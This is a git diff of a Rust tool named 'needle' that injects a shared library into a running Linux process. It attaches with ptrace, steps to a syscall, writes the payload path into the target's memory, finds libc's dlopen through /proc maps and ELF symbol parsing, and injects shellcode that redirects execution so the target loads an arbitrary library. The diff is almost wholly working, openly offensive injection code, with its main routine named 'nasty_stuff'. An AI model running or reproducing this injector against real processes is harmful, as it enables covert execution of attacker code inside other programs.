diff --git a/Cargo.toml b/Cargo.toml index 5263dc6..63c1c1d 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -17,4 +17,6 @@ path = "src/needle/main.rs" [dependencies] clap = { version = "4.1.13", features = ["derive"] } ctor = "0.1.26" +elf = "0.7.2" nix = "0.26.2" +proc-maps = "0.3.0" diff --git a/src/needle/explorers.rs b/src/needle/explorers.rs new file mode 100644 index 0000000..dffcea0 --- /dev/null +++ b/src/needle/explorers.rs @@ -0,0 +1,68 @@ +use std::{ffi::c_void, path::{Path, PathBuf}, io::{ErrorKind, Error}}; + +use elf::{ElfBytes, endian::AnyEndian, abi::{PT_LOAD, ET_EXEC}}; +use nix::{unistd::Pid, sys::{ptrace, wait::waitpid}}; +use proc_maps::get_process_maps; + +pub fn step_to_syscall(pid: Pid) -> nix::Result { + let mut registers; + let mut addr; + let mut instructions; + + // seek to syscall + loop { + registers = ptrace::getregs(pid)?; + addr = registers.rip as usize; + instructions = ptrace::read(pid, addr as *mut c_void)?; + // println!("@ 0x{:X} [{:x}]", insn_addr, curr_instr); + + if instructions & 0xFFFF == 0x050F { + return Ok(addr); + } + + ptrace::step(pid, None)?; + waitpid(pid, None)?; + } +} + +fn _path_to_str<'a>(p: Option<&'a Path>) -> &'a str { + match p { + Some(path) => { + match path.to_str() { + Some(s) => s, + None => "?", + } + }, + None => "", + } +} + +pub fn find_libc(pid: Pid) -> std::io::Result<(usize, PathBuf)> { + let proc_maps = get_process_maps(pid.as_raw())?; + + for map in proc_maps { + // println!("map > 0x{:08X} {} [{:x}] - {} [{}]", map.start(), map.flags, map.offset, map.inode, _path_to_str(map.filename())); + if map.is_exec() && _path_to_str(map.filename()).contains("libc.so") { + return Ok(( + map.start() - map.offset, + map.filename().expect("matched empty option?").to_path_buf() + )); + } + } + + Err(Error::new(ErrorKind::NotFound, "no libc in target proc maps")) +} + +pub fn find_dlopen(path: &Path) -> std::io::Result { + let libc = std::fs::read(path).expect("could not read libc"); + let headers = ElfBytes::::minimal_parse(&libc).expect("failed parsing libc as ELF"); + let common = headers.find_common_data().expect("shdrs should parse"); + let dynsyms = common.dynsyms.unwrap(); + let strtab = common.dynsyms_strs.unwrap(); + let hash_table = common.sysv_hash.unwrap(); + let (_id, dlopen) = hash_table.find(b"dlopen", &dynsyms, &strtab) + .expect("could not parse symbols hash table") + .expect("could not find dlopen symbol"); + + return Ok(dlopen.st_value as usize); +} diff --git a/src/needle/injector.rs b/src/needle/injector.rs index a1b24d8..b9ea462 100644 --- a/src/needle/injector.rs +++ b/src/needle/injector.rs @@ -1,28 +1,5 @@ -use std::ffi::c_void; - -use nix::{Result, unistd::Pid, sys::{ptrace, wait::waitpid}}; +use nix::{Result, unistd::Pid}; pub trait RemoteOperation { fn inject(&mut self, pid: Pid, syscall: usize) -> Result; } - -pub fn step_to_syscall(pid: Pid) -> Result { - let mut registers; - let mut addr; - let mut instructions; - - // seek to syscall - loop { - registers = ptrace::getregs(pid)?; - addr = registers.rip as usize; - instructions = ptrace::read(pid, addr as *mut c_void)?; - // println!("@ 0x{:X} [{:x}]", insn_addr, curr_instr); - - if instructions & 0xFFFF == 0x050F { - return Ok(addr); - } - - ptrace::step(pid, None)?; - waitpid(pid, None)?; - } -} diff --git a/src/needle/main.rs b/src/needle/main.rs index ee1c918..58f2701 100644 --- a/src/needle/main.rs +++ b/src/needle/main.rs @@ -4,48 +4,127 @@ mod senders; mod injector; mod explorers; -use injector::{RemoteOperation, step_to_syscall}; +use std::path::PathBuf; + +use injector::RemoteOperation; use nix::{Result, {sys::{ptrace, wait::waitpid}, unistd::Pid}}; use clap::Parser; use executors::RemoteShellcode; use senders::RemoteString; -use syscalls::RemoteWrite; +use explorers::step_to_syscall; + +use crate::explorers::{find_libc, find_dlopen}; #[derive(Parser, Debug)] #[command(author, version, about, long_about = None)] struct NeedleArgs { /// target process pid pid: i32, + + /// shared object to inject into target process + #[arg(short, long, default_value = "./target/debug/libtetanus.so")] + payload: String, + + /// exact address of dlopen function, calculated with `base + offset` if not given + #[arg(long)] + addr: Option, + + /// base address of libc in memory (minus offset), calculated with /proc//maps if not given + #[arg(long)] + base: Option, + + /// offset address of dlopen inside libc, calculated reading libc ELF if not given + #[arg(long)] + offset: Option, + + /// path of libc shared object on disk, used to calculate symbol offset in ELF + #[arg(long)] + path: Option, } -const SHELLCODE : [u8; 2] = [0x90, 0x90]; - -pub fn nasty_stuff(pid: Pid) -> Result<()> { - let syscall_addr = step_to_syscall(pid)?; - let mut msg = RemoteString::new("injected!\n\0".into()); - msg.inject(pid, syscall_addr)?; - RemoteWrite::args(1, msg).inject(pid, syscall_addr)?; - RemoteShellcode::new(&SHELLCODE).inject(pid, syscall_addr)?; - Ok(()) -} - -fn main() -> Result<()> { - let args = NeedleArgs::parse(); +fn nasty_stuff(args: NeedleArgs) -> Result<()> { let pid = Pid::from_raw(args.pid); ptrace::attach(pid)?; waitpid(pid, None)?; - println!("Attached to process #{}", args.pid); - let regs = ptrace::getregs(pid)?; - nasty_stuff(pid)?; + // continue running process step-by-step until we find a syscall + let syscall = step_to_syscall(pid)?; // TODO no real need to step... + let original_regs = ptrace::getregs(pid)?; // store original regs to restore after injecting + + // move path to our payload into target address space + let tetanus = RemoteString::new(args.payload + "\0") + .inject(pid, syscall)?; + + // find dlopen address + // TODO make this part less spaghetti + let dlopen_addr; + if let Some(addr) = args.addr { + dlopen_addr = addr; + } else { + let (mut calc_base, mut calc_fpath) = (0, "".into()); // rust complains about uninitialized... + if args.path.is_none() || args.base.is_none() { // if user gives both no need to calculate it + (calc_base, calc_fpath) = find_libc(pid).expect("could not read proc maps of process"); + } + + let base = match args.base { + Some(b) => b, + None => calc_base, + }; + + let fpath = match args.path { + Some(p) => p, + None => calc_fpath, + }; + + let offset = match args.offset { + Some(o) => o, + None => find_dlopen(&fpath).expect("could not read libc shared object") + }; + + dlopen_addr = base + offset; + } + + println!("Attempting to invoke dlopen() @ 0x{:X}", dlopen_addr); + + let shellcode = [ // doesn't really spawn a shell soooooo not really shellcode? + 0x55, // pusb rbp + 0x48, 0x89, 0xE5, // mov rbp, rsp + 0xFF, 0x15, 0x08, 0x00, 0x00, 0x00, // call [rip+0x8] # fake call to store RIP + 0xCC, // trap <--- ret should land here + 0x90, // nop + 0x90, // nop <--- call should land here + 0xCC, // trap + ]; + + RemoteShellcode::new(&shellcode) + .inject(pid, syscall)?; + + // intercept our mock CALL and redirect it to dlopen real address (also fill args) + let mut regs = ptrace::getregs(pid)?; + regs.rip = dlopen_addr as u64; + regs.rdi = tetanus; + regs.rsi = 0x1; ptrace::setregs(pid, regs)?; + ptrace::cont(pid, None)?; + waitpid(pid, None)?; + println!("Injected dlopen() call"); + // restore original registers and detach + // TODO clean allocated areas + ptrace::setregs(pid, original_regs)?; ptrace::detach(pid, None)?; - println!("Released process #{}", args.pid); Ok(()) } + +fn main() { + let args = NeedleArgs::parse(); + + if let Err(e) = nasty_stuff(args) { + eprintln!("Error while injecting : {} ({})", e, e.desc()); + } +}